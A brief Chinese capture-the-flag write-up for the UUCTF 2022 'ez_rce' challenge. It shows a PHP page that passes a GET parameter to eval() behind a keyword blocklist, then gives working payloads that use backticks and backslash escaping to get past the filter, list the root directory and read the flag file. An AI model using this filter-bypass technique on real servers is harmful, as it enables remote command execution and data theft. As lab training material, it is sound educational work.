目录

[UUCTF 2022 新生赛]ez_rce

目录

[UUCTF 2022 新生赛]ez_rce

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
        echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
        eval($code);
    }
    else{
        die("你想干什么?????????");
    }
}
else{
    echo "居然都不输入参数,可恶!!!!!!!!!";
    show_source(__FILE__);
}
?>

代码中的正则没有包括反引号 ` 、斜杠 / 、反斜杠 \ 、 打印函数 print 、括号 () 、分号 ;

payload:

1
2
?code=print(`l\s /`);
?code=print(`c\at /fffffffffflagafag`);

在PHP中,反引号 ` 通常用于执行系统命令,并返回命令执行的输出。这是一种执行外部命令的方法,类似于使用 shell_exec 函数或 exec 函数:

https://pic.imgdb.cn/item/6558e8e8c458853aef27ea52.jpg

反斜杠 \ 不会影响系统命令的执行:

https://pic.imgdb.cn/item/6558e7cbc458853aef22ec97.jpg

在这里可以用来绕过正则匹配